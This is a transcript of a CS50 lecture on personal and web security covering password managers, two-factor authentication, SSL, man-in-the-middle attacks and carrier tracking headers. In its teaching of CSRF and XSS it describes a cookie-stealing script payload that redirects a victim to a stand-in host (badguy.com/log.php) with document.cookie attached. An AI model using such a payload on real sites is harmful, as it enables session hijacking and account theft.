DAVID J. MALAN: This is CS50, and this is the start of week 10. You may recall that we've shown on the screen a 3D printer, which is this device that takes spools of plastic and then extrudes it by heating it up and melting it so that we can then form Chang's army of elephants, for instance. 

So at Leverett House, though, recently, I was chatting with one of your classmates and a friend of Chang's named Michelle, who actually interned at this other company this past year that has a different technique for actually creating three-dimensional objects, like this tiny little elephant here. In particular, the way this works is that it's an example of something called stereolithography, whereby there's this basin of resin or liquid, and then a laser strikes that liquid, and gradually, the device lifts and lifts and lifts the thing that you're printing, like an elephant, as that liquid becomes solid. And the result, actually, is something that's much more robust than some of the plastic giveaways some of you might have had. 

And what Chang kindly did for us here was did a time-lapse using photographs over the course of an hour or more, probably, to produce this guy here. Would someone who's never come up before like to come hit Start on this video? Let me go with, how about there. Come on up. All right. And you are? LUKE: My name's Luke [INAUDIBLE]. DAVID J. MALAN: Hi, Luke. Nice to meet you. 

LUKE: Nice to meet you. AUDIENCE: He's running for UC. 

DAVID J. MALAN: I know, we're trying not to promote. All right, so Luke, all you have to do here in CS50 is hit the space bar to print this elephant. [VIDEO PLAYBACK] -[MACHINE WHIRRING] -[CRASH] -[BOOM] -[CRASH] [END VIDEO PLAYBACK] DAVID J. MALAN: So that is exactly what it's like to 3D print. And here is your elephant. Thanks for volunteering. All right. So again, per the specification for the final project, this hardware that's available to you guys is, for some reason, your project has some intersection of software and hardware, realize that these are now resources. 

I wanted to take one moment to touch upon a Crimson article that came out late last night, which was to announce that this fellow here, David Johnson, who's been the senior preceptor for Ec 10 for quite some time, is leaving Harvard at the end of the academic year. And I just wanted to take a moment, honestly, to thank David in front of CS50. He's been a mentor of sorts to us over the years. 

And I feel like we, CS50, have rather grown up with Ec 10 in here, since they are right before us. And he and the whole team in Ec 10 has been wonderfully gracious, frankly, as we lug in all of our equipment each and every week, and years ago, provided a great deal of counsel as we were curious as to how they operate Ec 10. So our thanks and admiration to David Johnson. 

[APPLAUSE] 

Now, unrelatedly, so the end is indeed near. We are here in week 10. And we only have just a couple of formal weeks here in class left, followed by a couple of events. So to give you a sense of what's on the horizon, here we are today. 

This Wednesday, recall, we'll have a guest lecture by none other than Microsoft's own Steve Ballmer. If you've not yet gone to cs50.harvard.edu/register, do so, since space will be limited. And they will be checking IDs at the door this day. If you weren't here last week, I thought I'd tease you with a different look at Steve and the excitement that awaits us on Wednesday. 

[VIDEO PLAYBACK] 

-Passion. 

-We're going to be hardcore-- hardcore. 

-Innovator. 

-Bill said, you don't get it. We're going to put a computer on every desk and in every home, which became the motto for the company. I swear, Bill invented it that night to really give me some of the vision of why I should say yes. I've never looked back, really, after that. 

-Fresh out of college, he joined a fledgling startup and helped it grow into one of America's most successful businesses ever. The life of and business lessons learned along the way let him back to his childhood passion and love. And those experiences have prepared him for his next challenge in life. 

-Nothing gets in our way-- boom! Keep coming hardcore! Go Clippers! 

-This is Steve Ballmer, "In My Own Words." [END VIDEO PLAYBACK] DAVID J. MALAN: --this Wednesday to CS50. Head again to this URL here. As for what else is on the horizon, next week, no lecture on Monday. But we will be following that by quiz one on Wednesday. Go to CS50's homepage for details on people, places, and times for all of the various proctoring logistics and the like, as well as about review sessions that are forthcoming. And then, lastly, on Monday, the day before the week of Thanksgiving break, realize it will be our final lecture. We will serve cake and a great deal of excitement, we hope. 

Now, a couple of other updates. Keep in mind that the status report, which is really just meant to be a casual interaction with your TF to proudly state just how far along with your final project you are, or at least as a sanity check that you should be approaching that point shortly thereafter. The Hackathon then follows that. Realize the Hackathon is not an opportunity to start your final project, but is meant to be an opportunity to be in the middle of or toward the end of your final project, with the implementation due a few days later, followed by the CS50 fair. 

Now, CS50's production team, a couple years ago, put together a teaser for the CS50 fair that we thought we'd show you today, because they've been hard at work on a prequel for that, a new video that we'll conclude today with. But here's what awaits you for this year's CS50 fair. [VIDEO PLAYBACK] -[CELL PHONE RINGING] [MUSIC "THEME FROM MISSION: IMPOSSIBLE"] [END VIDEO PLAYBACK] DAVID J. MALAN: So that is exactly how we close final project submissions. A couple of now teasers-- if you'd like to join Nick here for lunch, as usual, this Friday, head to this URL here. Moreover, if you would like to join Nick or this Nick or this Allison or any members of CS50's team, do realize that, shortly after term's end, CS50 will already be recruiting for next year's team, for CAs, TFs, designers, producers, researchers, and other positions that here operate CS50 both in front of and behind the scenes. So if this might be of interest to you, head to this URL here. And students more comfortable, less comfortable, and somewhere in between alike are all welcome and encouraged to apply. 

So it was perfect timing that, no joke, this morning, when I woke up, I had this here spam in my inbox. It actually slipped through Gmail's spam filter somehow and ended up in my actual inbox. And it says, "Dear mailbox user, you're currently upgraded to 4 gigabytes of space. Please log into your account in order to validate E-space." 

And then there's this nice blue enticing link there to click on for faculty and staff, which then led me to a wonderfully legitimate page, which asked me to give them my name and email address and, of course, password to validate who I am and so forth. But of course, as is always the case, you arrive at this landing page, and of course, there's at least one typo, which seems to be the nail in the coffin of any of these scams. And we'll post, perhaps, some other links to these kinds of screen shots in the future. But hopefully, most people in this room have not clicked-- or even if you've clicked such links as this, you haven't gone so far as to fill out those forms and so forth. In fact, it's OK if you have. We'll try to fix that today, because, indeed, today's conversation is about security. 

And indeed, one of the goals of CS50 is not so much to teach you CE or PHP or JavaScript or SQL or any of these underlying implementation details. But it's to empower you as humans to just make smarter decisions as it relates to technology down the road so that, whether you're an engineer or humanist or scientist or any other role, you are making informed decisions about your own computing usage, or if you're in a decision-making position, in politics, in particular, you're making much, much better decisions than a lot of humans today have been. And we'll do this by way of a few examples. 

First, I was rather surprised recently to discover the following. So passwords, of course, are what most of us use to protect our data-- email, chat, and all kinds of resources like that. And just by an awkward-- not show of hands, but embarrassed looks of shame, how many of you use the same password in a lot of different websites? 

Oh, OK, so we'll do the hands. OK, so a lot of you do. Anyone who does this, just why? And what? Yeah? AUDIENCE: It's easy to remember, because you don't have to remember [INAUDIBLE]. DAVID J. MALAN: Yeah, it's easy to remember. It's a perfectly reasonable, rational behavior, even though the risk you're putting yourself at in these cases is just one or more of those websites is vulnerable to hacking or to insecure or your password's just so darn guessable, anyone can figure it out. Not only is one account compromised, but in theory, any accounts you have on the internet. So I know I might say today, don't use the same password everywhere, but that's a lot easier said than done. But there are techniques for mitigating that particular concern. 

Now, I happen, for instance, to use a program called 1Password. Another popular one is called LastPass. And a bunch of CS50 staff use one or more of these kinds of tools. And long story short, one takeaway for today should be, yes, you might have the same password everywhere, but it's very easy to no longer do that. For instance, these days, I know maybe one of my dozens or hundreds of passwords. All of my other passwords are pseudo-randomly generated by one of these programs here. And in a nutshell, and even though most of these programs tend to come with a bit of a cost, you would install a program like this, you would then store all of your usernames and passwords inside of this program on your own Mac or PC or whatnot, and then it would be encrypted on your computer with what's hopefully a particularly long password. So I have a whole bunch of passwords for individual websites, and then I have a really long password that I use to unlock all of those other passwords. And what's nice about software like this is that, when you visit a website that's asking for your username and password, these days, I don't type in my username and password, because, again, I don't even know what most of my passwords are. I instead hit a keyboard shortcut, the result of which is to trigger this software to prompt me for my master password. I then type that one big password in, and then the browser automatically fills in what my password is. So truly, if you take nothing else away from today in terms of passwords, these are software that are worth downloading or investing in so that you can at least break that particular habit. And if you're the type that's using Post-It notes or the like-- and odds are at least one of you is-- that habit, too, suffice it to say, should be broken. 

Now, I happened to discover, as a result of using the software, the following. I was ordering an Edible Arrangement, this basket of fruit, recently. And I hit my special keyboard shortcut to log in to the website. And the software triggered a pop-up that said, are you sure you want me to automatically submit this username and password? Because the connection is insecure. 

The connection's not using HTTPS, for secure, using that protocol known as SSL, Secure Sockets Layer. And indeed, if you look at the top left of this website, it's just www.ediblearrangements.com, no HTTPS, which isn't so good. 

Now, I was curious-- maybe this is just a bug in the software. Surely, some website like this that a lot of us know of is at least using encryption or HTTPS URLs to log you in. So I got a little curious this morning. And I got out my CS50 skills, I opened up Chrome Inspector. It's not even much of a skill. It's just hit the right keyboard shortcut to open this up. And here's a big window of Chrome's Inspector. 

But what was actually a little tragic and ridiculous were these two lines here. Up at the top, notice the URL to which my username and password were submitted. Let me zoom in. It was this here. And all of that is sort of uninteresting, except for the thing all the way at the left, which starts with http://. And so then, OK, maybe they're just sending my username, which is not such a big deal. Maybe my password gets sent later. That would be kind of an interesting design decision. 

But nope. If you then look at the request payload, the username and password I sent-- and I mocked these up for the slide-- were actually sent in the clear. So you go to this particular website and order an Edible Arrangement like this, and indeed, apparently, for all this time I've been ordering from them, your username and password is going across in the clear. So honestly, this is completely unacceptable. And it's so trivial to avoid things like this as the designer of a website and as the programmer of a website. 

But the takeaway here for us as users of websites is just to appreciate that all it takes is for one stupid design decision, unjustifiable design decision, so that now, if you know my password is "crimson" on this website, you've probably just got into a whole bunch of other websites that I now have. And there's not much of a defense against that other than what Chang did this morning. He went to Edible Arrangements, which is located down the street in Cambridge, and physically bought this for us. That was much more secure than using the website in this case. 

But the detail to keep an eye out for is actually what's in the browser up top there. But even that can be a little deceptive. So another interesting example and way of defending against this-- and actually, let's do that first-- the way of defending against this is a technique that security people would call two-factor authentication. 

Does anyone know what the solution to problems like this means? What is two-factor authentication? Or put another way, how many of you are using it? OK, so a couple of shy people. But yeah. I saw your hand go up. What is two-factor authentication? 

AUDIENCE: Basically, in addition to typing in your password, you also have a secondary [INAUDIBLE] sent via text message to your phone at the [INAUDIBLE]. DAVID J. MALAN: Exactly. In addition to some primary form of authentication, like a password, you're asked for a secondary factor, which is typically something you have physically on you, though it can be something else altogether. And that thing is typically a cellphone these days to which you get sent a temporary text message that says "your temporary pass code is 12345." 

So in addition to my password "crimson," I also have to type in whatever the website has texted me. Or if you have this with a bank or an investment account, you sometimes have these little dongles that actually have a pseudo-random number generator built into them, but both the device and the bank know what your initial seed is so that they know, even as the little code on your little key fob marches ahead every minute or two, changing values, so does that value change on the bank's server so that they can similarly authenticate you, not only with your password, but with that temporary code. Now, you can actually do this in Google. And frankly, this is a good habit to get into, especially if you're using Gmail all the time on a browser. If you go to this URL here, which is in the slides online for today, and then click on 2-Step Verification, same actual thing there. You'll be prompted to give them your cell phone number. And then, any time you log into Gmail, you'll be not only asked for your password, but also for a little code that gets sent to your phone temporarily. And so long as you have cookies enabled, and so long as you don't explicitly log out, you'll only have to do that once in awhile, like when you sit down at a new computer. 

And the upside here, too, is, if you sit down at some internet cafe style computer or just a friend's computer, even if that friend maliciously or unknowingly has some keyboard logger installed on his or her computer, such that everything you type is being logged, at least that second factor, that temporary code, is ephemeral. So he or she or whoever's compromised the computer can't log into you subsequently, even if everything else was vulnerable or even unencrypted altogether. Facebook has this, too, with that URL here, where you can click on Login Approvals. So here, too, if you don't want friends to poke people, you don't want to be poking on Facebook or posting status updates for you, two-factor authentication here is probably a good thing. And then there's this other technique altogether, just auditing, which is even a good thing for us humans, if two-factor proves annoying, which, admittedly, it can, or it's just not available on some website, minimally keeping an eye on if and when you're logging into sites, if they allow you, is a good technique, too. So Facebook also gives you this login notifications feature, whereby anytime Facebook realizes, hm, David has logged in from some computer or phone that we've never seen before from an IP address that looks unfamiliar, they'll at least send you an email to whatever email address you have on file, saying, does this look suspicious? If so, change your password immediately. And so there, too, just auditing behavior even after you've been compromised, can at least narrow the window during which you are vulnerable. 

All right, any questions on that stuff thus far? Today is the day to get all of your paranoia confirmed or denied. That's mostly confirmed, sadly. Yeah? 

AUDIENCE: [INAUDIBLE] phone, what if your phone breaks, and then it's always difficult to verify-- 

DAVID J. MALAN: True. 

AUDIENCE: Or if you're in a different country, and they don't let you log in because [INAUDIBLE]. DAVID J. MALAN: Absolutely. And so these are the additional costs that you incur. There's always this theme of a trade-off, after all. And then, if you lose your phone, if it breaks, if you're abroad, or you just don't have a signal, like a 3G or LTE signal, you might not actually be able to authenticate. 

So again, these two are trade-offs. And sometimes, it can create a lot of work for you as a result. But it really depends, then, on what the expected price to you is of something being compromised altogether. 

So SSL, then, is this technique that we all generally take for granted or assume is there, even though that's clearly not the case. And you can still mislead people, though, even with this. So here's an example of a bank. 

This is Bank of America. There's a whole bunch of these in Harvard Square and beyond. And notice that, at the very top of the screen, there's an, indeed, HTTPS. And it's even green and highlighted for us to indicate that this is indeed a legitimately secure website, or so we've been trained to believe. 

Now, besides that, though, notice that, if we zoom in, there's this thing here, where you're prompted to log in. What does this padlock mean right there, next to my username prompt? This is pretty common on websites, too. What does this padlock mean? You seem like you know. 

AUDIENCE: It doesn't mean anything. 

DAVID J. MALAN: It doesn't mean anything. It means that Bank of America knows how to write HTML with image tags, right? It truly means nothing, because even we, using the first day of our look at HTML, can code up a page with a red background and an image, like a GIF or whatnot, that happens to look like a padlock. And yet, this is super common in websites, because we've been trained to assume that, oh, padlock means secure, when it really just means you know HTML. 

For instance, back in the day, I could have just put this on my website, claiming it's secure, and asking, effectively, for people's usernames and passwords. So looking in the URL is at least a better clue, because that's built into Chrome or whatever browser you're using. But even then, sometimes things can go wrong. And in fact, you might not always see HTTPS, let alone in green. 

Have any of you ever seen a screen like this? You might have, actually, earlier in October, when I forgot to pay for our SSL certificate, as it's called, and we were looking like this for an hour or two. So you've probably seen things like this, with a strike-through, like a red line, through the protocol in the URL or some kind of screen that's at least admonishing you for trying to proceed further. And Google here is inviting you to go back to safety. 

Now, in this case, this just meant that the SSL certificate that we were using, the big, mathematically useful numbers that are associated with CS50's server, were no longer valid. And in fact, we can simulate this, as you can on your laptop. If I go into Chrome here, and let's go to facebook.com, and it looks like this is secure. But let me go ahead now and click on the padlock here. 

And let me go to Connection, Certificate Information. And indeed, what you'll see here is a bunch of lower-level details about who facebook.com really is. It seems that they have paid money to a company called maybe DigiCert High Assurance that has promised to tell the rest of the world that, if a browser ever sees a certificate-- you can think of it literally as a certificate that looks like that cheesy thing at top left-- then facebook.com is who they say they are, because all this time, when you visit a website, like cs50.harvard.edu or facebook.com or gmail.com that use HTTPS URLs, behind the scenes, there's this sort of transaction happening automatically for you, whereby facebook.com, in this case, is sending to your browser its so-called SSL certificate, or rather, its public key, and then your browser is using that public key to subsequently send encrypted traffic to and from it. 

But there's this whole hierarchy in the world of companies that you pay money to who will then testify, in a digital sense, that you are indeed facebook.com or your server is indeed cs50.harvard.edu. And built into browsers, like Chrome and IE and Firefox, is a list of all of those so-called certificate authorities that are authorized by Microsoft and Google and Mozilla to confirm or deny that facebook.com is who it says it is. But the catch is that these things do expire. In fact, Facebook's looks like it expires next October, in 2015. 

So we can actually simulate this if I go in my Mac to my System Preferences, and I go into Date and Time, and I go into Date and Time here, and I unlock this here-- thankfully, we didn't reveal a password this time-- and now I go down to uncheck this. And let's actually-- oops, that's not as interesting as doing this. We are literally in the future now, which means this is what 2020 is like. If I now reload the page-- let's do it in Ingognito mode-- if I reload the page, there we go. 

So now, my computer thinks it's 2020, but my browser knows that this certificate from Facebook expires, of course, in 2015. So it's giving me this red message. Now, thankfully, browsers like Chrome have actually made it pretty hard to proceed nonetheless. They indeed want me to go back to safety. 

If I click here on Advance, it's going to tell me some more details. And if I really want to proceed, they'll let me go to facebook.com, which is, again, unsafe, at which point I'll see Facebook's homepage, like this. But then other things seem to be breaking. What's probably breaking at this point? AUDIENCE: JavaScript. DAVID J. MALAN: Like the JavaScripts and/or CSS files are similarly encountering that error. So this is just a bad situation overall. But the point here is that at least Facebook does indeed have SSL enabled for their servers, as many websites, do, but not necessarily all. 

But that's not alone the takeaway here. Turns out that even SSL has been demonstrated to be insecure in some way. So I'm sort of hinting that SSL, good. Look for HTTPS URLs, and life is good, because all of your HTTP traffic and headers and content is encrypted. 

No one can intercept it in the middle, except for a so-called man in the middle. This is a general technique in the world of security known as a man-in-the-middle attack. Suppose that you're this little laptop over here on the left, and suppose you're trying to visit a server over there on the right, like facebook.com. 

But suppose that, in between you and Facebook, is a whole bunch of other servers and equipment, like switches and routers, DNS servers, DHCP servers, none of which we control. It might be controlled by Starbucks or Harvard or Comcast or the like. Well, suppose that someone maliciously, on your network, in between you and Facebook, is able to tell you that, you know what, the IP address of Facebook is not what you think it is. It's this IP instead. 

And so your browser's tricked into requesting traffic from another computer altogether. Well, suppose that computer simply looks at all of the traffic you're requesting from Facebook and all of the web pages that you're requesting from Facebook. And any time it sees in your traffic a URL that starts with HTTPS, it dynamically, on the fly, rewrites it as HTTP. And any time it sees a location header, location colon, like we use to redirect the user, those, too, can be changed by this man in the middle from HTTPS to HTTP. 

So even though you yourself might think you're at the real Facebook, it is not that hard for an adversary with physical access to your network to simply return pages to you that look like Gmail, that look like Facebook, and indeed the URL is identical, because they're pretending to have that same host name because of some exploitation of DNS or some other system like that. And the result, then, is that we humans might only realize that, OK, this looks like Gmail or at least the older version, as is this slide from an older presentation. But it looks like this-- http://www.google.com. 

So here, too, the reality is that how many of you, when you go to Facebook or Gmail or any website and you know a little something about SSL, how many of you physically type https:// and then the website name, Enter. Most of us just type, like, CS50, hit Enter, or F-A for Facebook and hit Enter, and let it auto-complete. But behind the scenes, if you watch your HTTP traffic, there's probably a whole bunch of those location headers that are sending you from Facebook to www.facebook.com to https://www.facebook.com. 

So that's one or more HTTP transactions where your information is completely sent in the clear, no encryption whatsoever. Now, that might not be such a big deal if all you're trying to do is access the homepage, you're not sending your username and password. But what is it underneath the hood, especially for PHP-based websites that's also being sent back and forth when you visit some webpage if that website uses, say, PHP and implements functionality like pset7? What was being sent back and forth in your HTTP headers that gave you access to this pretty useful super global in PHP? 

AUDIENCE: Cookies. 

DAVID J. MALAN: Cookies, specifically the PHP sess ID cookie. So recall, if we go to, say, cs50.harvard.edu again, but this time, let's open up the Network tab, and now, up here, let's literally just go to http://cs50.harvard.edu and then hit Enter. And then look at the screen down here. Notice that we indeed got back a 301 moved permanently message, which means that there's a location header here, which is now redirecting me to HTTPS. 

But the catch is that, if I already had a cookie stamped on my hand virtually, as we've discussed before, and I the human sort of unknowingly just visit the insecure version, and my browser takes it upon itself to show that hand stamp for the first request, which is via HTTP, any man in the middle, any adversary in the middle, can theoretically just see those HTTP headers, just like we're looking at them here. It's only once you're talking to an HTTPS URL does that hand stamp itself get encrypted, a la Caesar or Vigenere, but with a fancier algorithm altogether. So here, too, even if websites use HTTPS, we humans have been conditioned, thanks to auto-complete and other techniques, to not even think about the potential implications. Now, there are ways around this. For instance, many websites can be configured so that, once you have this hand stamp, you can tell the browser, this hand stamp is only for SSL connections. The browser should not present it to me unless it's over SSL. But many websites don't bother with that. And many websites apparently don't even bother with SSL at all. 

So for more on that, there's actually even more dirt in this presentation that a fellow gave at a so-called black hat conference a couple of years ago, where there's even other malicious tricks people have used. You might recall this notion of a favicon, which is like a little logo that's often in the browser's window. Well, what's been common among bad guys is to make fab icons that look like what? AUDIENCE: [INAUDIBLE]. DAVID J. MALAN: Say again? AUDIENCE: The websites. DAVID J. MALAN: Not a website. So favicon, tiny little icon. What would be the most malicious, manipulative thing you could make your website's default icon look like? AUDIENCE: A green lock. DAVID J. MALAN: What's that? AUDIENCE: A little green lock. DAVID J. MALAN: Like a green lock, exactly. So you can have this aesthetic of a little green padlock, hinting to the world, oh, we're secure, when, again, all it means is that you know some HTML. So session hijacking refers to exactly that. If you have someone who's kind of sniffing the airwaves in this room here or has physical access to a network and can see your cookies, he or she can grab that PHP sess ID cookie. And then, if they're savvy enough to know how to send that cookie as their own hand stamp just by copying that value and sending the HTTP headers, someone could very easily log into any of the Facebook accounts or Gmail accounts or Twitter accounts that are here, open in the room, if you're not using SSL and if the website is not using SSL correctly. 

So let's transition to another one. So another true story. And this just broke in the news a week or two ago. Verizon has been doing a very evil thing, and as best people can tell, since at least 2012, whereby, when you access websites via a Verizon cellphone, whatever manufacturer it is, they have been presumptuously, as the story goes, injecting into all of your HTTP traffic their own HTTP header. And that header looks like this-- X-UIDH. UID is like a unique identifier or user ID. And X just means this is a custom header that's not standard. 

But what this means is that, if I pull up, for instance, any website on my phone here-- and I'm using Verizon as my carrier-- even though my browser might not be sending this HTTP header, Verizon, as soon as the signal reaches their cellphone tower somewhere, has been for some time injecting this header into all of our HTTP traffic. Why do they do this? Presumably for tracking reasons, for advertising reasons. 

But the moronic design decision here is that an HTTP header, as you guys know from pset6, is received by any web server that you're requesting traffic of. So all this time, if you've been visiting Facebook or Gmail or any website that doesn't use SSL all the time-- and actually, those two thankfully now do-- but other websites that don't use SSL all the time, Verizon has essentially been planting, forcibly, a hand stamp on all of our hands that even we don't see, but rather, the end websites do. And so it hasn't been that hard for anyone on the internet running a web server to realize, ooh, this is David, or, ooh, this is Davin, even if we're rigorous about clearing our cookies, because it's not coming from us. It's coming from the carrier. 

They do a lookup on your phone number and then say, oh, this is David. Let me inject a unique identifier so that our advertisers or whoever can keep track of this. So this is actually very, very, very bad and horrifying. And I would encourage you to take a look, for instance, at this URL, which I should disclaim I actually tried this this morning. I wrote a little script, put it at this URL, visited it with my own Verizon cellphone after turning Wi-Fi off. So you have to turn Wi-Fi off so that you're using 3G or LTE or the like. And then, if you visit this URL, all this script does for you guys, if you'd like to play, is it spits out what HTTP headers your phone is sending to our server. And I actually, in fairness, did not see this this morning, which makes me think either the local cellphone tower I was connected to or whatnot is not doing it, or they've backed off of doing this temporarily. But for more information, to head to this URL here. 

And now to this-- this comic might make sense. No? OK. All right. That died. All right. 

So let's take a look at a couple of more attacks, if only to raise awareness of and then offer a couple potential solutions so that you're all the more mindful. This one we talked about the other day, but didn't give a name to it. It's a cross-site request forgery, which is an excessively fancy way of saying you trick a user into clicking on a URL like this, which tricks them into some behavior that they didn't intend. 

In this case, this seems to be trying to trick me into selling my shares of Google. And this will succeed if I, the programmer of pset7, have not done what? Or rather, more generally, in what cases am I vulnerable to an attack if someone tricks another user into clicking a URL like this? Yeah? 

AUDIENCE: You don't distinguish between GET and POST. 

DAVID J. MALAN: Good. If we don't distinguish between GET and POST, and indeed, if we allow GET for selling things, we're inviting this kind of attack. But we could still mitigate it somewhat. And I commented, I think, last week that Amazon at least tries to mitigate this with a technique that's pretty straightforward. What would a smart thing to do be on your server, rather than just blindly selling whatever symbol the user types in? AUDIENCE: Confirmation of sorts? DAVID J. MALAN: A confirmation screen, something involving human interaction so that I am forced to make the judgment call, even if I've naively clicked a link that looks like this and led me to the cell screen, at least asked me to confirm or deny. But not an uncommon attack, especially in so-called phishing or spam-like attacks. 

Now, this one's a little more subtle. This is a cross-site scripting attack. And this happens if your website is not using the equivalent of htmlspecialchars. And it's taking user input and just blindly injecting it into a web page, as with print or echo, with-- again-- out calling something like htmlspecialchars. 

So suppose the website in question is vulnerable.com. And suppose it accepts a parameter called q. Look at what might happen if I actually, a bad guy, type in or trick a user into visiting a URL that looks like this-- q= open script tag, closed script tag. And again, I'm assuming that vulnerable.com is not going to turn dangerous characters like open brackets into HTML entities, the ampersand, L-T, semicolon thing that you might have seen before. 

But what is the script or JavaScript code I'm trying to trick a user into executing? Well, document.location refers to my browser's current address. So if I do document.location=, this allows me to redirect the user in JavaScript to another website. It's like our PHP function redirect, but done in JavaScript. 

Where am I trying to send the user? Well, apparently, badguy.com/log.php, which is some script, apparently, the bad guy wrote, that takes a parameter called cookie. 

And notice, what do I appear to be concatenating onto the end of that equal sign? Well, something that says document.cookie. We haven't talked about this. But it turns out, in JavaScript, just like in PHP, you can access all of the cookies that your browser is actually using. 

So the effect of this one line of code, if a user is tricked into clicking on this link and the website vulnerable.com does not escape it with htmlspecialchars, is that you have just effectively uploaded to log.php all of your cookies. And that's not always that problematic, except if one of those cookies is your session ID, your so-called hand stamp, which means badguy.com can make his or her own HTTP requests, sending that same hand stamp, that same cookie header, and log into whatever website you were visiting, which in this case is vulnerable.com. It's a cross-site scripting attack in the sense that you're sort of tricking one site into telling another website about some information it should not, in fact, have access to. 

All right, ready for one other worrisome detail? All right, the world is a scary place, legitimately so. Here's a simple JavaScript example that's in today's source code called geolocation 0 and 1. And there's a couple walkthroughs online for this. 

And it does the following if I open this web page in Chrome. It first does nothing. OK, we'll try this again. Oh. No, it should do something. OK, stand by. 

Let's try this once more. [INAUDIBLE] Ah, OK, not sure why the-- oh, the appliance probably lost internet access for some reason. All right, so happens to me, too. 

All right, so notice what's going on here. This cryptic-looking URL, which is just one of CS50 server, wants to use my computer's location, like physically it means. And if, indeed, I click on Allow, let's see what happens. Apparently, this is my current latitude and longitudinal coordinates down to a pretty darn good resolution. 

So how did I get at this? How does this website, like CS50 server, know physically where in the world I am, let alone with that precision. Well, turns out-- let's just look at the page's source-- that in here is a bunch of HTML at the bottom that first has this-- body onload="geolocate"-- just a function I wrote. 

And I'm saying, on loading the page, call geolocate. And then there's nothing in the body, because in the head of the page, notice what I have here. Here's my geolocate function. And this is just some error checking-- if the type of navigator.geolocation is not undefined. So JavaScript has this mechanism where you can say, what is the type of this variable? And if it's not undefined-- that means it is some value-- I'm going to call navigator.geolocation.getCurrentPosition and then callback. 

What's this? So in general, what is a callback, just to be clear? You might have encountered this already in pset8. Callback's a generic term for doing what? Feels like just me today. AUDIENCE: [INAUDIBLE]. DAVID J. MALAN: Exactly, a function that should be called only when we have data. This call to the browser, get my current position, might take one millisecond, it might take a minute. What this means is we are telling the get getCurrentPosition method, call this callback function, which I literally named callback for simplicity, which apparently is this one here. 

And the way getCurrentPosition works, simply by reading the documentation for some JavaScript code online, is that it calls that so-called callback function, passes it into it a JavaScript object, inside of which is .coords.latitude and .coords.longitude, which is exactly how, then, when I reloaded this page, I was able to see my location here. Now, at least there was a defense here. Before I visited this page, when it actually worked, what was I at least prompted for? 

AUDIENCE: [INAUDIBLE]. 

DAVID J. MALAN: Yes or no-- do you want to allow or deny this? But think, too, about the habits you guys have probably adopted, both on your phones and your browsers. Many of us, myself included, are probably pretty predisposed these days-- you see a pop-up, just Enter, OK, Approve, Allow. And increasingly, you can put yourself at risk for those reasons. 

So in fact, there was this wonderful bug a few years ago-- or lack of feature-- that iTunes had a few years ago, whereby, if you had a cell phone, and it was an iPhone, and you left your home and therefore traveled around the world or the neighborhood, all this time, your phone was logging where you are via GPS. And this is actually disclosed, and people kind of expect this now. Your phone knows where you are. But the problem was that, when you were backing up your phone to iTunes-- this was before the days of iCloud, which is for better or for worse-- the data was being stored in iTunes, completely unencrypted. So if you have a family or roommates or a malicious neighbor who's curious about literally every GPS coordinate you have ever been to, he or she could just sit down at iTunes, run some software that was freely available, and produce maps like this. 

In fact, this is what I produced of my own phone. I plugged it in. And it looks like, based on the blue dots there, that's where most of the GPS coordinates were logged by iTunes that I was in the Northeast there. But I apparently traveled around a bit, even within Massachusetts. 

So that's Boston Harbor there on the right. That's kind of Cambridge and Boston, where it's darkest. And occasionally, I would run errands to a larger geography. 

But iTunes, for years, had, as best I could tell, all of this data on me. You could tell that, that year, I was actually traveling a lot between Boston and New York, going back and forth and back and forth. And indeed, this is me on Amtrak, back and forth, back and forth, quite a bit. All of that was being logged and stored encrypted on my computer for anyone who might have access to my computer. 

This was worrisome. I did not know why I was in Pennsylvania or why my phone was in Pennsylvania, apparently fairly densely. And then, finally, I looked at my Gcal, and, oh, I visited CMU, Carnegie Mellon, at the time. And phew, that kind of explained that blip. And then, if you zoom out further, you can see I visited San Francisco one or more times then, and I even had a layover in what I think is Vegas, down there. So all of this-- just a layover, at the airport. 

AUDIENCE: [LAUGHTER] 

So this is only to say that these problems, honestly, are omnipresent. And it only feels increasingly like there's more and more of this being disclosed, which is probably a good thing. I daresay, the world isn't getting worse at writing software. We're getting better, hopefully, at noticing how bad certain software is that we're using. And thankfully, some companies are beginning to be held accountable for this. 

But what kinds of defenses can you have in mind? So besides password managers, like 1Password and LastPass and others, besides just changing your passwords and coming up with random ones using software like that, you can also try as best you can to encrypt all of your traffic to at least narrow the zone of a threat. So for instance, as Harvard affiliates, you can all go to vpn.harvard.edu and log in with your Harvard ID and PIN. And this will establish a secure connection between you and Harvard. 

Now, that doesn't necessarily protect you against any threats that are between Harvard and Facebook or Harvard and Gmail. But if you're sitting in an airport or you're sitting in Starbucks or you're sitting at a friend's place, and you don't really trust them or their configuration of their home router, at least you can establish a secure connection to an entity like this place that's probably a little better secured than something like a Starbucks or the like. And what this does is it establishes, again, encryption between you and the endpoint. 

Even fancier are things like this. So some of you might already be familiar with Tor, which is this sort of anonymization network, whereby lots of people, if they run this software, route subsequently their internet traffic through each other. So the shortest point is no longer between A and B. But it might be all over the place so that you're essentially covering one's tracks and leaving less of a record as to where your HTTP traffic came from, because it's going through a whole bunch of other people's laptops or desktops, for better or for worse. 

But even this is not a surefire thing. Some of you might recall last year the bomb scare that was called in. And it was traced ultimately to a user who had used this network here. And the catch there , as I recall, is, if there aren't that many other people using a software like this or using this port and protocol, it's not that hard for a network to even figure out who, with some probability, was in fact anonymizing his or her traffic. 

And I don't know if those were the actual particulars in question. But surely, realize that none of these are surefire solutions, as well. And the goal here today is to least get you thinking about these things and coming up with techniques for defending yourself against them. Any questions on all of the threats that await you out there, and in here? Yeah? AUDIENCE: How secure do we expect the average [? website to be, ?] like the average CS50 project? 

DAVID J. MALAN: The average CS50 project? It is always proved every year that some CS50 final projects are not particularly secure. Usually, it's some roommate or hallmate that figures this out by sending requests to your project. 

Short answer-- how many websites are secure? I'm picking on today anomalies. Like it was just happenstance that I realized that this website I've been ordering these frankly delicious arrangements from-- and I'm not sure I'll stop using their website; I might just change my password more regularly-- it's not clear just how vulnerable all these various-- this is chocolate-covered actually. The short answer, I can't answer that effectively, other than to say it was not that hard for me to find some of these examples just for the sake of discussion in lecture. And just keeping an eye on Google News and other resources will bring all the more of these kinds of things to light. 

All right, let's conclude with this prequel that CS50's team has prepared for you in anticipation of the CS50 Hackathon. And on your way out in a moment, fruit will be served. [VIDEO PLAYBACK] [MUSIC FERGIE, Q TIP, AND GOONROCK, "A LITTLE PARTY NEVER KILLED NOBODY (ALL WE GOT)"] 

-[SNORING] [END VIDEO PLAYBACK] DAVID J. MALAN: That's it for CS50. We'll see you on Wednesday. [MUSIC - SKRILLEX, "IMMA' TRY IT OUT"]